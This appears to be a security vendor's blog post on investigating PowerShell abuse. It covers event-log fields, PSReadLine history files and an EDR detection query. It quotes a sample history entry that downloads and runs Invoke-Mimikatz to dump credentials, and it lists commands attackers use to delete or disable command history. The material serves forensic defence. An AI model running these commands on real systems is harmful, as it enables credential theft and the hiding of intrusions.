- Adversarial Tactics
- Investigation Tips
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
We have a separate blog which touches certain aspects of a malicious PowerShell script here - Decoding Malicious PowerShell Activity - A Case Study - Blog - Malware Questions - Sophos Community
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.
With Sophos EDR, you can use “PowerShell events suspected of using encoded or encrypted data” Live Discover Query. It outputs a list PowerShell processes and script block events that are suspected of using encoded or encrypted data.
On the host side of forensics, there are 3 places where we look for signs of suspicious PowerShell script or command execution whether it’s local or remote:
The field ‘HostApplication’ might display the encoded bits used such as:
HostApplication=powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgAC0ATwBiAGoAZQBjAHQAIAAiAEgAZQBsAGwAbwAsACAAdwBvAHIAbA BkACEAIgA7AA==
NOTE: This is not applicable for PowerShell 2.0
There’s a fourth place where we can potentially look from a forensics’ perspective. If commands are carried out on a PowerShell console, a session history i.e. list of commands entered during the current session is saved. On PowerShell versions < 5, a session specific history can be identified using the Get-History command. The list is lost if the session is closed.
The Get-History cmdlet gets the session history, that is, the list of commands entered during the current session. Beginning in Windows PowerShell 3.0, the default value is 4096.
PS C:\WINDOWS\system32> Get-History
2 ping localhost
3 Test-Path ((Get-PSReadlineOption).HistorySavePath)
5 powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
The PSReadline module is installed and enabled by default starting from PowerShell v5 on Windows 10 onward. It is responsible for recording what is typed into the console. The default option is to save history to a file.
NOTE: PSReadLine is not included in the separately installed PowerShell 5 for previous versions of Windows. Thus, if you want to use the PowerShell command history functionality you will need to install the PSReadLine module separately.
The default location of this file:
PSReadLine requires PowerShell 3.0, or newer, and the console host. It does not work in PowerShell ISE.
A sample output:
Attackers have been seen to delete forensic artifacts in the form of Windows Event Logs to cover their tracks. They may also clear the command history of a compromised account to conceal the commands executed during/after a successful intrusion. We’ll discuss some of the possible tactics in detail.
By default, Clear-History deletes the entire command history from a PowerShell session but it does not delete/flush the PSReadLine command history file on the disk. This tactic would be useful for attackers on PowerShell versions <5 on Windows 7 / 8.1 / Windows Server 2008 / R2 / 2012R2 as there is no physical file containing the command history.
Backup the existing file with a view to restore it after. e.g.
rename-item -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt
If they use PowerShell to perform this activity will result in this action to be logged.
The adversary could delete the history file from the PowerShell prompt at the end of a session:
remove-item -force -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
An adversary may change the default behaviour of the PSReadline configuration and prevent the history of commands being recorded.
Set-PSReadlineOption -HistorySaveStyle SaveNothing
They could possibly re-enable it afterwards,
Set-PSReadlineOption -HistorySaveStyle SaveIncrementally
The act of changing the style of event history from a PS prompt would be logged. The presence of these commands in the history would be a red flag. It may sound like an over-kill but for the sake of completeness, it’s worthy of a mention.
If you happen to stumble upon a rich ConsoleHost_history.txt like the one below, you’re in luck.
If the last command(s) executed are surprisingly less or include:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt
ConsoleHost_history.txt is not present on a machine.
It could mean that the history or the file it-self has been tampered with.
These Indicator of Compromise [IOCs] could help us identify what might have happened:
The following Live Discover Query could be used prior to the investigation of the actual ConsoleHost_history.txt file if you suspect any modification/deletion:
select CAST( datetime(sfj.time,'unixepoch') AS TEXT) DATE_TIME,sfj.subject,CAST( datetime(sfj.creationtime,'unixepoch') AS TEXT) CREATION_DATE_TIME,sfj.pathname,spj.cmdline,spj.sidfrom sophos_file_journal sfj join sophos_process_journal spj on spj.sophosPID = sfj.sophosPIDwhere sfj.pathname like '%ConsoleHost_history.txt' and spj.cmdline not like '%powershell%';
If the file has been deleted by Explorer.exe, the output should be similar to: